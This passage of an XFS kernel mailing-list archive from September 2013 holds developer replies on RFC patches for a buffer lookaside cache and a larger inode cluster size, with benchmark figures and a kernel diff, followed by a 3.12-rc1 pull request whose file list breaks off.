Thunderbird/17.0.8 MIME-Version: 1.0 To: Christoph Hellwig CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> <20130909133254.GA14778@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems In-Reply-To: <20130909133254.GA14778@infradead.org> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378734883 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140475 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/9/13 8:32 AM, Christoph Hellwig wrote: > I can't see anything v5 format specific here, as 512 byte inodes can be > created with v4 filesystems as well. Good point - why is this uniquely needed for V5 filesystems? If it wasn't a problem w/ larger inodes before, why is it now? This makes the dreaded test matrix go a bit more wonky... -Eric From tinguely@sgi.com Mon Sep 9 10:17:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9F2E47F55 for ; Mon, 9 Sep 2013 10:17:28 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 77AE88F8065; Mon, 9 Sep 2013 08:17:25 -0700 (PDT) Message-ID: <522DE684.4000903@sgi.com> Date: Mon, 09 Sep 2013 10:17:24 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> In-Reply-To: <1378690396-15792-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/08/13 20:33, Dave Chinner wrote: > From: Dave Chinner > > CPU overhead of buffer lookups dominate most metadata intensive > workloads. The thing is, most such workloads are hitting a > relatively small number of buffers repeatedly, and so caching > recently hit buffers is a good idea. > > Add a hashed lookaside buffer that records the recent buffer > lookup successes and is searched first before doing a rb-tree > lookup. If we get a hit, we avoid the expensive rbtree lookup and > greatly reduce the overhead of the lookup. If we get a cache miss, > then we've added an extra CPU cacheline miss into the lookup. Interesting. The last allocated xfs_buf is placed into the hash. Might be interesting to know the hit-miss ratio on a real workload. --Mark. From david@fromorbit.com Mon Sep 9 10:35:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D41C47F59 for ; Mon, 9 Sep 2013 10:35:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A8C848F8066 for ; Mon, 9 Sep 2013 08:35:52 -0700 (PDT) X-ASG-Debug-ID: 1378740950-04cbb02c3ce5d070001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id pZDsLE5esDIZy9I4 for ; Mon, 09 Sep 2013 08:35:51 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al0GAFrpLVJ5Lapl/2dsb2JhbABbgweDSr9UgSEXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gBw2EWj2oHhB0Dl3SRZ4MyKg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 10 Sep 2013 01:05:49 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJ3VD-0003C3-1G; Tue, 10 Sep 2013 01:35:47 +1000 Date: Tue, 10 Sep 2013 01:35:47 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems Message-ID: <20130909153546.GT12779@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> <20130909133254.GA14778@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130909133254.GA14778@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378740950 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140476 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 09, 2013 at 06:32:54AM -0700, Christoph Hellwig wrote: > I can't see anything v5 format specific here, as 512 byte inodes can be > created with v4 filesystems as well. It's an RFC, and so i've just done the minimum I need to do to verify it is working corectly. Indeed, I'm not sure it is all there yet, as I haven't tested increased inode alignments on older kernels. So I'm not sure whether it will need a feature bit or not yet. The test matrix of having to test everything on v4 and v5 is just nasty, especially if we are talking about prototyping code. I'd much prefer to bring things to v5 filesytsems where we have much lower exposure and risk of corruption problems, and then when we know it's solid because of the QA we've done on it, then we can expose the majority of the XFS userbase to it by bringing it back to v4 filesystems. As i've said before - if someone wants to bring new features to v4 filesystems sooner than I do, then they need to step up and do the work themselves, because I don't have the time and resources to fully verify new features on v4 filesystem formats... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 9 10:39:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 201847F5F for ; Mon, 9 Sep 2013 10:39:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD62E304059 for ; Mon, 9 Sep 2013 08:39:45 -0700 (PDT) X-ASG-Debug-ID: 1378741183-04bdf02f21e9c740001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id AG3UC1ckw4G7fj6s for ; Mon, 09 Sep 2013 08:39:43 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al0GALrqLVJ5Lapl/2dsb2JhbABTCIMHg0q/VYEhF3SCJQEBBScTHCMQCAMVAwklDwUlAyETiAHDKhaOLYE9B4QdA5d0ijCHN4MyKg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail05.adl6.internode.on.net with ESMTP; 10 Sep 2013 01:09:42 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJ3Yx-0003D8-Sg; Tue, 10 Sep 2013 01:39:39 +1000 Date: Tue, 10 Sep 2013 01:39:39 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find Message-ID: <20130909153939.GU12779@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> <522DE684.4000903@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522DE684.4000903@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378741183 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140476 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 09, 2013 at 10:17:24AM -0500, Mark Tinguely wrote: > On 09/08/13 20:33, Dave Chinner wrote: > >From: Dave Chinner > > > >CPU overhead of buffer lookups dominate most metadata intensive > >workloads. The thing is, most such workloads are hitting a > >relatively small number of buffers repeatedly, and so caching > >recently hit buffers is a good idea. > > > >Add a hashed lookaside buffer that records the recent buffer > >lookup successes and is searched first before doing a rb-tree > >lookup. If we get a hit, we avoid the expensive rbtree lookup and > >greatly reduce the overhead of the lookup. If we get a cache miss, > >then we've added an extra CPU cacheline miss into the lookup. > > Interesting. The last allocated xfs_buf is placed into the hash. > > Might be interesting to know the hit-miss ratio on a real workload. Of course. Didn't you notice that data in the next patch I sent? ;) Anyway, here's one I prepared earlier. Cheers, Dave. -- Dave Chinner david@fromorbit.com [RFC v2] xfs: lookaside cache for xfs_buf_find From: Dave Chinner CPU overhead of buffer lookups dominate most metadata intensive workloads. The thing is, most such workloads are hitting a relatively small number of buffers repeatedly, and so caching recently hit buffers is a good idea. Add a hashed lookaside buffer that records the recent buffer lookup successes and is searched first before doing a rb-tree lookup. If we get a hit, we avoid the expensive rbtree lookup and greatly reduce the overhead of the lookup. If we get a cache miss, then we've added an extra CPU cacheline miss into the lookup. In cold cache lookup cases, this extra cache line miss is irrelevant as we need to read or allocate the buffer anyway, and the etup time for that dwarfs the cost of the miss. In the case that we miss the lookaside cache and find the buffer in the rbtree, the cache line miss overhead will be noticable only if we don't see any lookaside cache misses at all in subsequent lookups. We don't tend to do random cache walks in perfomrance critical paths, so the net result is that the extra CPU cacheline miss will be lost in the reduction of misses due to cache hits. This hit/miss case is what we'll see with file removal operations. A simple prime number hash was chosen for the cache (i.e. modulo 37) because it is fast, simple, and works really well with block numbers that tend to be aligned to a multiple of 8. No attempt to optimise this has been made - it's just a number I picked out of thin air given that most repetitive workloads have a working set of buffers that is significantly smaller than 37 per AG and should hold most of the AG header buffers permanently in the lookaside cache. The result is that on a typical concurrent create fsmark benchmark I run, the profile of CPU usage went from having _xfs_buf_find() as teh number one CPU consumer: 6.55% [kernel] [k] _xfs_buf_find 4.94% [kernel] [k] xfs_dir3_free_hdr_from_disk 4.77% [kernel] [k] native_read_tsc 4.67% [kernel] [k] __ticket_spin_trylock to this, at about #8 and #30 in the profile: 2.56% [kernel] [k] _xfs_buf_find .... 0.55% [kernel] [k] _xfs_buf_find_lookaside So the lookaside cache has halved the CPU overhead of looking up buffers for this workload. On a buffer hit/miss workload like the followup concurrent removes, _xfs_buf_find() went from #1 in the profile again at: 9.13% [kernel] [k] _xfs_buf_find to #6 and #23 repesctively: 2.82% [kernel] [k] _xfs_buf_find .... 0.78% [kernel] [k] _xfs_buf_find_lookaside IOWs, on most workloads - even read only workloads - there is still a significant benefit to this simple lookaside cache. More analysis, using -m crc=1,finobt=1: Lookaside cache hit rates vs size: cache size cache size 7 37 73 create 0.4 0.76 0.88 bulkstat 0.64 0.88 0.93 find+stat 0.45 0.68 0.73 ls -R 0.06 0.10 0.14 unlink 0.43 0.75 0.89 As expected, the larger the cache, the higher the hit rate. Wall time vs cache size: cache size none 7 37 73 create 256s 240s 235s 238s bulkstat 153s 154s 163s 161s find+stat 210s 204s 205s 206s ls -R 31s 31s 31s 32s unlink 381s 362s 356s 360s Higher hit rates don't necessarily translate into higher performance, however. System time vs cache size: cache size none 7 37 73 create 2851s 2681s 2637s 2607s bulkstat 2357s 2342s 2497s 2473s find+stat 1743s 1704s 1681s 1667s ls -R 22s 21s 20s 21s unlink 3409s 3313s 3216s 3168s All looks as expected here given the cache hit rate numbers, except for the bulkstat numbers. I'm not sure why the system time goes up given the cache hit rates being so high - perf shows the CPU in xfs_buf_find() going down.... So, performance is best at a cache size of 37 entries, though cache hit rates and system time is better with 73 entries. Not immediately obvious why, but it tends to indicate the initial swag at a cache of 37 entries gives a pretty good tradeoff between size, CPU usage reduction and overall performance improvement. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf.c | 68 ++++++++++++++++++++++++++++++++++++++++++++++++++---- fs/xfs/xfs_buf.h | 6 +++++ fs/xfs/xfs_mount.h | 4 +++- fs/xfs/xfs_stats.h | 8 ++++++- 4 files changed, 79 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index ee85f29..bcceb81 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -470,6 +470,49 @@ _xfs_buf_map_pages( */ /* + * Lookaside cache check + */ +STATIC struct xfs_buf * +_xfs_buf_find_lookaside( + struct xfs_perag *pag, + xfs_daddr_t bn, + int numblks) +{ + struct xfs_buf *bp; + + ASSERT(spin_is_locked(&pag->pag_buf_lock)); + bp = pag->pag_buf_cache[XBF_HASH(bn)]; + if (!bp) + return NULL; + if (bp->b_bn != bn || bp->b_length != numblks) + return NULL; + return bp; +} + +static __inline__ void +_xfs_buf_find_lookaside_insert( + struct xfs_perag *pag, + struct xfs_buf *bp, + xfs_daddr_t bn) +{ + ASSERT(spin_is_locked(&pag->pag_buf_lock)); + XFS_STATS_INC(xb_lookaside_insert); + pag->pag_buf_cache[XBF_HASH(bn)] = bp; +} + +static __inline__ void +_xfs_buf_find_lookaside_remove( + struct xfs_perag *pag, + struct xfs_buf *bp) +{ + ASSERT(spin_is_locked(&pag->pag_buf_lock)); + if (pag->pag_buf_cache[XBF_HASH(bp->b_bn)] == bp) { + XFS_STATS_INC(xb_lookaside_remove); + pag->pag_buf_cache[XBF_HASH(bp->b_bn)] = NULL; + } +} + +/* * Look up, and creates if absent, a lockable buffer for * a given range of an inode. The buffer is returned * locked. No I/O is implied by this call. @@ -492,6 +535,13 @@ _xfs_buf_find( int numblks = 0; int i; + /* get tree root */ + pag = xfs_perag_get(btp->bt_mount, + xfs_daddr_to_agno(btp->bt_mount, blkno)); + prefetch(&pag->pag_buf_lock); + prefetch(&pag->pag_buf_cache[XBF_HASH(blkno)]); + prefetch(&pag->pag_buf_tree); + for (i = 0; i < nmaps; i++) numblks += map[i].bm_len; numbytes = BBTOB(numblks); @@ -515,15 +565,20 @@ _xfs_buf_find( "%s: Block out of range: block 0x%llx, EOFS 0x%llx ", __func__, blkno, eofs); WARN_ON(1); + xfs_perag_put(pag); return NULL; } - /* get tree root */ - pag = xfs_perag_get(btp->bt_mount, - xfs_daddr_to_agno(btp->bt_mount, blkno)); - /* walk tree */ + /* First check the lookaside cache for a hit, otherwise walk the tree */ spin_lock(&pag->pag_buf_lock); + bp = _xfs_buf_find_lookaside(pag, blkno, numblks); + if (bp) { + XFS_STATS_INC(xb_lookaside_hit); + goto found; + } + + XFS_STATS_INC(xb_lookaside_miss); rbp = &pag->pag_buf_tree.rb_node; parent = NULL; bp = NULL; @@ -549,7 +604,7 @@ _xfs_buf_find( rbp = &(*rbp)->rb_right; continue; } - atomic_inc(&bp->b_hold); + _xfs_buf_find_lookaside_insert(pag, bp, blkno); goto found; } } @@ -560,6 +615,7 @@ _xfs_buf_find( rb_insert_color(&new_bp->b_rbnode, &pag->pag_buf_tree); /* the buffer keeps the perag reference until it is freed */ new_bp->b_pag = pag; + _xfs_buf_find_lookaside_insert(pag, bp, blkno); spin_unlock(&pag->pag_buf_lock); } else { XFS_STATS_INC(xb_miss_locked); @@ -569,6 +625,7 @@ _xfs_buf_find( return new_bp; found: + atomic_inc(&bp->b_hold); spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); @@ -924,6 +981,7 @@ xfs_buf_rele( } else { xfs_buf_lru_del(bp); ASSERT(!(bp->b_flags & _XBF_DELWRI_Q)); + _xfs_buf_find_lookaside_remove(pag, bp); rb_erase(&bp->b_rbnode, &pag->pag_buf_tree); spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 433a12e..658f746 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -166,6 +166,12 @@ typedef struct xfs_buf { #endif } xfs_buf_t; +/* + * lookaside cache definitions + */ +#define XBF_HASH_SIZE 37 +#define XBF_HASH(bn) (bn % XBF_HASH_SIZE) + /* Finding and Reading Buffers */ struct xfs_buf *_xfs_buf_find(struct xfs_buftarg *target, struct xfs_buf_map *map, int nmaps, diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 1fa0584..2a997dc 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -364,7 +364,9 @@ typedef struct xfs_perag { unsigned long pag_ici_reclaim_cursor; /* reclaim restart point */ /* buffer cache index */ - spinlock_t pag_buf_lock; /* lock for pag_buf_tree */ + spinlock_t pag_buf_lock ____cacheline_aligned_in_smp; + /* lock for pag_buf_tree */ + struct xfs_buf *pag_buf_cache[XBF_HASH_SIZE]; struct rb_root pag_buf_tree; /* ordered tree of active buffers */ /* for rcu-safe freeing */ diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index c8f238b..c1f98cb 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -108,7 +108,7 @@ struct xfsstats { __uint32_t vn_reclaim; /* # times vn_reclaim called */ __uint32_t vn_remove; /* # times vn_remove called */ __uint32_t vn_free; /* # times vn_free called */ -#define XFSSTAT_END_BUF (XFSSTAT_END_VNODE_OPS+9) +#define XFSSTAT_END_BUF (XFSSTAT_END_VNODE_OPS+13) __uint32_t xb_get; __uint32_t xb_create; __uint32_t xb_get_locked; @@ -118,6 +118,12 @@ struct xfsstats { __uint32_t xb_page_retries; __uint32_t xb_page_found; __uint32_t xb_get_read; + /* XXX: can we extend like this? */ + __uint32_t xb_lookaside_hit; + __uint32_t xb_lookaside_miss; + __uint32_t xb_lookaside_insert; + __uint32_t xb_lookaside_remove; + /* Version 2 btree counters */ #define XFSSTAT_END_ABTB_V2 (XFSSTAT_END_BUF+15) __uint32_t xs_abtb_2_lookup; From bpm@sgi.com Mon Sep 9 12:40:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 17B377F55 for ; Mon, 9 Sep 2013 12:40:21 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id AE4DB8F8064; Mon, 9 Sep 2013 10:40:17 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 697A34266DC; Mon, 9 Sep 2013 12:40:17 -0500 (CDT) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS updates for 3.12-rc1 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20130909174017.697A34266DC@whiskey.americas.sgi.com> Date: Mon, 9 Sep 2013 12:40:17 -0500 (CDT) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull these XFS updates for 3.12-rc1. Most of this is related to the libxfs kernel/userspace sync, there is also project quota work, performance work in the log, recovery, and the CIL. User namespace support has been added, directory entries now have file type support, there is work to cleanup log space reservations, a bunch of spelling cleanups, and bug fixes. Thanks, Ben The following changes since commit ad81f0545ef01ea651886dddac4bef6cec930092: Linux 3.11-rc1 (2013-07-14 15:18:27 -0700) are available in the git repository at: git://oss.sgi.com/xfs/xfs tags/xfs-for-linus-v3.12-rc1 for you to fetch changes up to 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa: xfs: XFS_MOUNT_QUOTA_ALL needed by userspace (2013-09-03 15:00:06 -0500) ---------------------------------------------------------------- xfs: update for v3.12-rc1 For 3.12-rc1 there are a number of bugfixes in addition to work to ease usage of shared code between libxfs and the kernel, the rest of the work to enable project and group quotas to be used simultaneously, performance optimisations in the log and the CIL, directory entry file type support, fixes for log space reservations, some spelling/grammar cleanups, and the addition of user namespace support. - introduce readahead to log recovery - add directory entry file type support - fix a number of spelling errors in comments - introduce new Q_XGETQSTATV quotactl for project quotas - add USER_NS support - log space reservation rework - CIL optimisations - kernel/userspace libxfs rework ---------------------------------------------------------------- Brian Foster (1): xfs: check correct status variable for xfs_inobt_get_rec() call Chandra Seetharaman (5): xfs: Fix a deadlock in xfs_log_commit_cil() code path xfs: Initialize all quota inodes to be NULLFSINO xfs: Start using pquotaino from the superblock. quota: Add a new quotactl command Q_XGETQSTATV xfs: Add support for the Q_XGETQSTATV Dan Carpenter (1): xfs: check for underflow in xfs_iformat_fork() Dave Chinner (53): xfs: di_flushiter considered harmful xfs: separate out log format definitions xfs: split out inode log item format definition xfs: split out buf log item format definitions xfs: split out EFI/EFD log item format definition xfs: separate dquot on disk format definitions out of xfs_quota.h xfs: separate icreate log format definitions from xfs_icreate_item.h xfs: split out on-disk transaction definitions xfs: introduce xfs_rtalloc_defs.h xfs: introduce xfs_quota_defs.h xfs: sync minor header differences needed by userspace. xfs: split out transaction reservation code xfs: move inode fork definitions to a new header file xfs: move unrelated definitions out of xfs_inode.h xfs: introduce xfs_inode_buf.c for inode buffer operations xfs: move getdents code into it's own file xfs: reshuffle dir2 definitions around for userspace xfs: split out attribute listing code into separate file xfs: split out attribute fork truncation code into separate file xfs: split out the remote symlink handling xfs: introduce xfs_sb.c for sharing with libxfs xfs: create xfs_bmap_util.[ch] xfs: minor cleanups xfs: fix issues that cause userspace warnings xfs: kill xfs_vnodeops.[ch] xfs: consolidate xfs_rename.c xfs: consolidate xfs_utils.c xfs: consolidate extent swap code xfs: don't special case shared superblock mounts xfs: kill __KERNEL__ check for debug code in allocation code xfs: remove __KERNEL__ from debug code xfs: remove __KERNEL__ check from xfs_dir2_leaf.c xfs: xfs_filestreams.h doesn't need __KERNEL__ xfs: move kernel specific type definitions to xfs.h xfs: make struct xfs_perag kernel only xfs: return log item size in IOP_SIZE xfs: Reduce allocations during CIL insertion xfs: avoid CIL allocation during insert xfs: Combine CIL insert and prepare passes xfs: split the CIL lock xfs: use reference counts to free clean buffer items xfs: Add read-only support for dirent filetype field xfs: Add write support for dirent filetype field xfs: don't account buffer cancellation during log recovery readahead xfs: fix bad dquot buffer size in log recovery readahead XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 xfs: btree block LSN escaping to disk uninitialised xfs: check LSN ordering for v5 superblocks during recovery xfs: inode buffers may not be valid during recovery readahead xfs: inode log reservations are too small xfs: finish removing IOP_* macros. xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino xfs: XFS_MOUNT_QUOTA_ALL needed by userspace Dwight Engen (8): xfs: create wrappers for converting kuid_t to/from uid_t xfs: convert kuid_t to/from uid_t in ACLs xfs: ioctl check for capabilities in the current user namespace xfs: convert kuid_t to/from uid_t for internal structures xfs: create internal eofblocks structure with kuid_t types xfs: add capability check to free eofblocks ioctl enable building user namespace with xfs powerpc/spufs: convert userns uid/gid mount options to kuid/kgid Eric Sandeen (4): xfs: avoid double-free in xfs_attr_node_addname xfs: free bp in xlog_find_zeroed() error path xfs:free bp in xlog_find_tail() error path Fix wrong flag ASSERT in xfs_attr_shortform_getvalue Fengguang Wu (1): xfs: xfs_dir3_sfe_put_ino can be static Jie Liu (11): xfs: fix assertion failure in xfs_vm_write_failed() xfs: Introduce a new structure to hold transaction reservation items xfs: Introduce tr_fsyncts to m_reservation xfs: Make writeid transaction use tr_writeid xfs: refactor xfs_trans_reserve() interface xfs: Get rid of all XFS_XXX_LOG_RES() macro xfs: Refactor xfs_ticket_alloc() to extract a new helper xfs: Add xfs_log_rlimit.c xfs: Validate log space at mount time xfs: call roundup_64() to calculate the min_logblks xfs: Simplify xfs_ail_min() with list_first_entry_or_null() Mark Tinguely (1): xfs: add xfs sb v4 support for dirent filetype field Richard Weinberger (1): xfs: Register hotcpu notifier after initialization Tejun Heo (1): xfs: WQ_NON_REENTRANT is meaningless and going away Zhi Yong Wu (25): xfs: fix the comment of xfs_check_sizes() xfs: fix the comment of xfs_buf_free() xfs: fix the comment of xfs_btree_lookup() xfs: fix the comment of xfs_mod_incore_sb_unlocked() xfs: fix the comment of xlog_write_setup_copy() xfs: remove one blank line in xfs_btree_make_block_unfull() xfs: fix the comment of xfs_iroot_realloc() xfs: fix the comment of xfs_btree_get_iroot() xfs: remove two unused macro definitions in xfs_linux.h xfs: fix the comment of xlog_recover_buffer_pass2() xfs: fix the comment of xlog_find_head() xfs: rename bio_add_buffer() to xfs_bio_add_buffer() xfs: fix the comment of xfs_bmap_count_tree() xfs: fix the comment of xfs_bmap_validate_ret() xfs: fix the comment of xfs_bmap_last_before() xfs: fix the comment of xfs_bmap_punch_delalloc_range() xfs: fix the comment of xfs_setsize_buftarg_early() xfs: fix the comment of xfs_extent_busy_update_extent() xfs: fix the comment of xfs_ialloc_ag_select() xfs: fix the comment of xfs_ifree_cluster() xfs: fix the comment of xfs_log_unmount_write() xfs: fix the comment of xlog_recover_do_dquot_buffer() xfs: fix the comment of xfs_sb_quiet_read_verify() xfs: fix the comment of xfs_mountfs() xfs: introduce object readahead to log recovery arch/powerpc/platforms/cell/spufs/inode.c | 8 +- fs/quota/quota.c | 29 + fs/xfs/Makefile | 20 +- fs/xfs/xfs_acl.c | 24 +- fs/xfs/xfs_ag.h | 53 - fs/xfs/xfs_alloc.c | 6 +- fs/xfs/xfs_aops.c | 23 +- fs/xfs/xfs_attr.c | 427 +--- fs/xfs/xfs_attr.h | 9 + fs/xfs/xfs_attr_inactive.c | 453 ++++ fs/xfs/xfs_attr_leaf.c | 657 +---- fs/xfs/xfs_attr_leaf.h | 2 + fs/xfs/xfs_attr_list.c | 655 +++++ fs/xfs/xfs_attr_remote.c | 18 +- fs/xfs/xfs_bmap.c | 823 +------ fs/xfs/xfs_bmap.h | 56 +- fs/xfs/xfs_bmap_btree.c | 6 +- fs/xfs/xfs_bmap_util.c | 2026 +++++++++++++++ fs/xfs/xfs_bmap_util.h | 110 + fs/xfs/xfs_btree.c | 7 +- fs/xfs/xfs_btree.h | 2 - fs/xfs/xfs_buf.c | 5 +- fs/xfs/xfs_buf_item.c | 58 +- fs/xfs/xfs_buf_item.h | 100 +- fs/xfs/xfs_da_btree.c | 8 +- fs/xfs/xfs_da_btree.h | 12 +- fs/xfs/xfs_dfrag.c | 459 ---- fs/xfs/xfs_dfrag.h | 53 - fs/xfs/xfs_dinode.h | 3 + fs/xfs/xfs_dir2.c | 58 +- fs/xfs/xfs_dir2.h | 46 + fs/xfs/xfs_dir2_block.c | 122 +- fs/xfs/xfs_dir2_data.c | 25 +- fs/xfs/xfs_dir2_format.h | 186 +- fs/xfs/xfs_dir2_leaf.c | 404 +-- fs/xfs/xfs_dir2_node.c | 14 +- fs/xfs/xfs_dir2_priv.h | 49 +- fs/xfs/xfs_dir2_readdir.c | 695 ++++++ fs/xfs/xfs_dir2_sf.c | 240 +- fs/xfs/xfs_discard.c | 5 +- fs/xfs/xfs_dquot.c | 8 +- fs/xfs/xfs_dquot_item.c | 23 +- fs/xfs/xfs_error.c | 1 - fs/xfs/xfs_export.c | 5 +- fs/xfs/xfs_extent_busy.c | 2 +- fs/xfs/xfs_extfree_item.c | 50 +- fs/xfs/xfs_extfree_item.h | 88 +- fs/xfs/xfs_file.c | 3 +- fs/xfs/xfs_filestream.c | 8 +- fs/xfs/xfs_filestream.h | 4 - fs/xfs/xfs_format.h | 169 ++ fs/xfs/xfs_fs.h | 38 +- fs/xfs/xfs_fsops.c | 8 +- 